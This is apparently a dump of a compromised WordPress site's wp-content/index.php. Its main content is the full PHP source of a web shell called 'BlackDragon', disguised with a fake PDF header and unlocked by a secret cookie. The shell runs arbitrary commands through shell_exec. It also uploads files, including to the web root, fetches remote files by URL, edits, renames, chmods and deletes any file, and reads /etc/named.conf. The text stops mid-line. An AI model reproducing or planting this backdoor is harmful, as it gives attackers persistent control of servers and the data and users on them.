HEX
Server: Apache/2
System: Linux server1c 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
User: jandjware (1008)
PHP: 8.2.23
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/jandjware/domains/jandjwarehouse.com/public_html/wp-content/index.php
%PDF-%PDF-%PDF-1
<?php

if (isset($_GET['akses']) && $_GET['akses'] === 'clues') {
    setcookie('blues', 'clues', time() + (86400 * 30), "/");
}

if (!isset($_COOKIE['blues']) || $_COOKIE['blues'] !== 'clues') {
    die;
}
?>
<?php null;

session_start();
error_reporting(0);
set_time_limit(0);
@ini_set('error_log', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);

function flash($message, $status, $class, $redirect = false) {
    if (!empty($_SESSION["message"])) {
        unset($_SESSION["message"]);
    }
    if (!empty($_SESSION["class"])) {
        unset($_SESSION["class"]);
    }
    if (!empty($_SESSION["status"])) {
        unset($_SESSION["status"]);
    }
    $_SESSION["message"] = $message;
    $_SESSION["class"] = $class;
    $_SESSION["status"] = $status;
    if ($redirect) {
        header('Location: ' . $redirect);
        exit();
    }
    return true;
}

function clear() {
    if (!empty($_SESSION["message"])) {
        unset($_SESSION["message"]);
    }
    if (!empty($_SESSION["class"])) {
        unset($_SESSION["class"]);
    }
    if (!empty($_SESSION["status"])) {
        unset($_SESSION["status"]);
    }
    return true;
}

function writable($path, $perms){
    return (!is_writable($path)) ? "<font color=\"red\">".$perms."</font>" : "<font color=\"lime\">".$perms."</font>";
}

function perms($path) {
    $perms = fileperms($path);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }

    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
    (($perms & 0x0800) ? 's' : 'x' ) :
    (($perms & 0x0800) ? 'S' : '-'));

    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
    (($perms & 0x0400) ? 's' : 'x' ) :
    (($perms & 0x0400) ? 'S' : '-'));
    
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
    (($perms & 0x0200) ? 't' : 'x' ) :
    (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}

function fsize($file) {
    $a = ["B", "KB", "MB", "GB", "TB", "PB"];
    $pos = 0;
    $size = filesize($file);
    while ($size >= 1024) {
        $size /= 1024;
        $pos++;
    }
    return round($size, 2)." ".$a[$pos];
}

if (isset($_GET['dir'])) {
    $path = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $path = getcwd();
}

$path = str_replace('\\', '/', $path);
$exdir = explode('/', $path);

function getOwner($item) {
    if (function_exists("posix_getpwuid")) {
        $downer = @posix_getpwuid(fileowner($item));
        $downer = $downer['name'];
    } else {
        $downer = fileowner($item);
    }
    if (function_exists("posix_getgrgid")) {
        $dgrp = @posix_getgrgid(filegroup($item));
        $dgrp = $dgrp['name'];
    } else {
        $dgrp = filegroup($item);
    }
    return $downer . '/' . $dgrp;
}

if (isset($_POST['newFolderName'])) {
    if (mkdir($path . '/' . $_POST['newFolderName'])) {
        flash("Create Folder Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Create Folder Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
        flash("Create File Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Create File Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if (rename($path. '/'. $_GET['item'], $_POST['newName'])) {
        flash("Rename Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Rename Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
    if (file_put_contents($path. '/'. $_GET['item'], $_POST['newContent'])) {
        flash("Edit Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Edit Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
        flash("Change Permission Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Change Permission", "Failed", "error", "?dir=$path");
    }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
    if (is_dir($_GET['item'])) {
        if (rmdir($_GET['item'])) {
            flash("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            flash("Delete Failed", "Failed", "error", "?dir=$path");
        }
    } else {
        if (unlink($_GET['item'])) {
            flash("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            flash("Delete Failed", "Failed", "error", "?dir=$path");
        }
    }
}

if ($_POST['submit']) {
    if ($_POST['upl'] == 'current') {
        $total = count($_FILES['uploadfile']['name']);
        for ($i = 0; $i < $total; $i++) {
            $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
        }
        if ($total < 2) {
            if ($mainupload) {
                flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
            } else {
                flash("Upload Failed", "Failed", "error", "?dir=$path");
            }
        } else {
            if ($mainupload) {
                flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
            } else {
                flash("Upload Failed", "Failed", "error", "?dir=$path");
            }
        }
    } elseif ($_POST['upl'] == 'root') {
        $total = count($_FILES['uploadfile']['name']);
        for ($i = 0; $i < $total; $i++) {
            $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_SERVER['DOCUMENT_ROOT']."/".$_FILES['uploadfile']['name'][$i]);
        }
        if ($total < 2) {
            if ($mainupload) {
                flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
            } else {
                flash("Upload Failed", "Failed", "error", "?dir=$path");
            }
        } else {
            if ($mainupload) {
                flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
            } else {
                flash("Upload Failed", "Failed", "error", "?dir=$path");
            }
        }
    }
}

// Upload from URL
if (isset($_POST['url']) && isset($_POST['filename']) && isset($_POST['method'])) {
    $url = $_POST['url'];
    $filename = $_POST['filename'];
    $destination = $path . '/' . $filename;

    switch ($_POST['method']) {
        case 'file_get_contents':
            $data = file_get_contents($url);
            if ($data !== false) {
                file_put_contents($destination, $data);
                flash("File uploaded successfully using file_get_contents!", "Success", "success", "?dir=$path");
            } else {
                flash("Failed to upload file using file_get_contents", "Failed", "error", "?dir=$path");
            }
            break;

        case 'curl':
            $ch = curl_init($url);
            $fp = fopen($destination, 'wb');
            curl_setopt($ch, CURLOPT_FILE, $fp);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_exec($ch);
            if (curl_errno($ch)) {
                flash("Failed to upload file using cURL: " . curl_error($ch), "Failed", "error", "?dir=$path");
            } else {
                flash("File uploaded successfully using cURL!", "Success", "success", "?dir=$path");
            }
            curl_close($ch);
            fclose($fp);
            break;

        case 'fopen':
            $stream = fopen($url, 'rb');
            if ($stream) {
                $contents = stream_get_contents($stream);
                fclose($stream);
                file_put_contents($destination, $contents);
                flash("File uploaded successfully using fopen!", "Success", "success", "?dir=$path");
            } else {
                flash("Failed to upload file using fopen", "Failed", "error", "?dir=$path");
            }
            break;

        case 'copy':
            if (copy($url, $destination)) {
                flash("File uploaded successfully using copy!", "Success", "success", "?dir=$path");
            } else {
                flash("Failed to upload file using copy", "Failed", "error", "?dir=$path");
            }
            break;

        case 'stream_context':
            $context = stream_context_create(['http' => ['method' => 'GET']]);
            $data = file_get_contents($url, false, $context);
            if ($data !== false) {
                file_put_contents($destination, $data);
                flash("File uploaded successfully using stream_context!", "Success", "success", "?dir=$path");
            } else {
                flash("Failed to upload file using stream_context", "Failed", "error", "?dir=$path");
            }
            break;
    }
}

$dirs = scandir($path);

$d0mains = @file("/etc/named.conf", false);
if (!$d0mains){
    $dom = "Cant read /etc/named.conf";
    $GLOBALS["need_to_update_header"] = "true";
} else { 
    $count = 0;
    foreach ($d0mains as $d0main){
        if (@strstr($d0main, "zone")){
            preg_match_all('#zone "(.*)"#', $d0main, $domains);
            flush();
            if (strlen(trim($domains[1][0])) > 2){
                flush();
                $count++;
            }
        }
    }
    $dom = "$count Domain";
}

$ip = !@$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'];
$serv = $_SERVER['HTTP_HOST']; 
$soft = $_SERVER['SERVER_SOFTWARE'];
$uname = php_uname();

?>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="robots" content="noindex, nofollow">
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
        <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
        <title><?= $serv; ?> - BlackDragon</title>
    </head>
    <body class="bg-dark text-light">
        <div class="container-fluid">
            <div class="py-3" id="main">
                <div class="box shadow bg-dark p-4 rounded-3">
                    <div class="info mb-3">
                        <i class="fa fa-server"></i>&ensp;<?= $uname; ?><br>
                        <i class="fa fa-microchip"></i>&ensp;<?= $soft; ?><br>
                        <i class="fa fa-satellite-dish"></i>&ensp;<?= $ip; ?><br>
                        <i class="fa fa-fingerprint"></i>&ensp;<?= $dom; ?>
                    </div>
                    <div class="breadcrumb">
                        <i class="fa fa fa-folder pt-1"></i>&ensp;<?php foreach ($exdir as $id => $pat) : if ($pat == '' && $id == 0):?>
                        <a href="?dir=/" class="text-decoration-none text-light">/</a>
                        <?php endif; if ($pat == '') continue; ?>
                        <a href="?dir=<?php for ($i = 0; $i <= $id; $i++) {echo "$exdir[$i]";if ($i != $id) echo "/";}?>" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
                        <?php endforeach; ?>
                        &nbsp; [&nbsp;<?php echo writable($path, perms($path)) ?>&nbsp;]
                        <div class="row">
                            <a href="?" class="text-decoration-none text-light">&nbsp; [&nbsp;HOME&nbsp;]</a>
                        </div>
                    </div>
                    <div class="d-flex justify-content-between">
                        <div class="p-2">
                            <form action="" method="post">
                                <label for="name" class="form-label">Console</label>
                                <div class="row">
                                    <div class="col-md-9 mb-3">
                                        <input type="text" class="form-control form-control-sm" name="bdcmd" placeholder="whoami">
                                    </div>
                                    <div class="col-md-3">
                                        <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                                    </div>
                                </div>
                            </form>
                        </div>
                        <div class="p-2">
                            <form action="" method="post" enctype="multipart/form-data">
                                <input class="form-check-input" type="radio" id="flexRadioDefault1" name="upl" value="current" checked>
                                <label class="form-label">Current Dir&nbsp;</label>
                                <input class="form-check-input" type="radio" id="flexRadioDefault2" name="upl" value="root">
                                <label class="form-label">Root Dir</label>
                                <div class="row">
                                    <div class="col-md-9 mb-3">
                                        <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
                                    </div>
                                    <div class="col-md-3">
                                        <input type='submit' class="btn btn-outline-light btn-sm" value='Submit' name='submit'>
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                    <div class="container" id="tools">
                        <div class="collapse" id="uploadUrlCollapse" data-bs-parent="#tools" style="transition:none;">
                            <form action="" method="post">
                                <div class="mb-3">
                                    <label for="url" class="form-label">URL to Upload</label>
                                    <input type="text" class="form-control" name="url" placeholder="Enter URL here" required>
                                </div>
                                <div class="mb-3">
                                    <label for="filename" class="form-label">File Name</label>
                                    <input type="text" class="form-control" name="filename" placeholder="Enter file name" required>
                                </div>
                                <div class="mb-3">
                                    <label for="method" class="form-label">Upload Method</label>
                                    <select class="form-select" name="method" required>
                                        <option value="file_get_contents">file_get_contents</option>
                                        <option value="curl">cURL</option>
                                        <option value="fopen">fopen</option>
                                        <option value="copy">copy</option>
                                        <option value="stream_context">stream_context</option>
                                    </select>
                                </div>
                                <button type="submit" class="btn btn-outline-light">Upload</button>
                            </form>
                        </div>
                        <a data-bs-toggle="collapse" href="#uploadUrlCollapse" role="button" aria-expanded="false" aria-controls="uploadUrlCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-link"></i> Upload from URL</a>

                        <?php if (isset($_POST['bdcmd'])) : ?>
                            <div class="p-2">
                                <div class="row justify-content-center">
                                    <div class='card text-dark mb-3'>
                                        <pre><?php echo $ip."@".$serv.":&nbsp;~$&nbsp;"; $cmd = $_POST['bdcmd']; echo $cmd."<br>";?><br><code><?php if(function_exists('shell_exec')){ echo shell_exec($cmd.' 2>&1'); } else { echo "Disable Function"; }?></code></pre>
                                    </div>
                                </div>
                            </div>
                        <?php endif; ?>
                        <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
                            <div class="row justify-content-center">
                                <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
                                    <form action="" method="post">
                                        <div class="mb-3">
                                            <label for="name" class="form-label">New Name</label>
                                            <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
                                        </div>
                                        <button type="submit" class="btn btn-outline-light">Submit</button>
                                        <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
                                    </form>
                                <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
                                    <form action="" method="post">
                                        <div class="mb-3">
                                            <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                                            <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= htmlspecialchars(file_get_contents($path. '/'. $_GET['item'])) ?></textarea>
                                        </div>
                                        <button type="submit" class="btn btn-outline-light">Submit</button>
                                        <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
                                        <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
                                    </form>
                                <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
                                    <div class="mb-3">
                                        <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
                                        <textarea name="newContent" rows="10" class="form-control" disabled=""><?= htmlspecialchars(file_get_contents($path. '/'. $_GET[